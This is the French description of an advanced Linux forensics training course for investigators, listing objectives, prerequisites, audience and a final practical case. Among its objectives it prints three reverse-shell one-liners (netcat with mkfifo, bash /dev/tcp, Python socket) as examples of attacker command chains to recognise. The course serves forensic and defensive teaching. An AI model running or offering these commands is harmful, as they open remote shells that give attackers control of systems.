Descriptif

Cette formation a pour but de former les participants à une utilisation avancée du système GNU/Linux.

A la fin de la formation, les participants seront capables d’utiliser de manière fluide des systèmes GNU/Linux, de les analyser et de réaliser des analyses en profondeur du système GNU/Linux.

Cette formation est composée d’une partie théorique (30%) et d’exercices pratiques (70%).

Objectifs

A l’issue de la formation, les stagiaires doivent être en mesure :

• De maîtriser le système d’exploitation GNU/Linux (connaissance approfondie du fonctionnement de GNU/Linux de l’arborescence, des services, des applications présentes par défaut) ;
• De savoir faire une analyse forensique d’un système GNU/Linux cible de type ordinateur de particuliers ;
• De connaître différentes techniques d’analyse permettant de traiter un serveur compromis (analyse de logs, analyse d’artefacts, etc.)
• D’être en mesure de comprendre des enchaînements de commandes utilisés par les attaquants ; par exemple :
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • python -c ‘import socket, subprocess, os;                                                          \

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);              \

s.connect((« 10.0.0.1 »,1234));                                                                    \

os.dup2(s.fileno(),0);                                                                                    \

os.dup2(s.fileno(),1);                                                                                    \

os.dup2(s.fileno(),2);                                                                                    \

p=subprocess.call([« /bin/sh », »-i »]);’

Prérequis

Une connaissance basique du système GNU/Linux est nécessaire. Une connaissance du terminal et des utilitaires courants est indispensable.

La formation TLF01 – Linux Forensics Niveau 1 couvre l’essentiel des connaissances nécessaires à cette formation.

Public Visé

Ce cours est dédié aux personnes souhaitant disposer de bases solides dans l’utilisation du système d’exploitation GNU/Linux. La dimension « investigation numérique » donnée à ce cours destine la formation aux enquêteurs et aux analystes forensiques. Cependant toute personne désireuse d’en connaître plus sur ce système peut prétendre participer au cours.

Matériel mis à disposition

• Un ordinateur portable
• Des machines virtuelles
• Livret de cours (format papier)
• Bloc note & crayon
• 1 clé USB

Méthodes mobilisées

• Evaluation des besoins et du profil du participant
• Alternance d’apports théoriques et pratiques regroupés en différents modules

Modalités éventuelles d’évaluation

La formation est clôturée par un exercice final pratique faisant intervenir l’ensemble des connaissances abordées.

Le cas pratique consiste en l’analyse d’une machine utilisée à des fins malveillantes, de la collecte à l’analyse ; le tout à l’aide du système GNU/Linux et de ses utilitaires.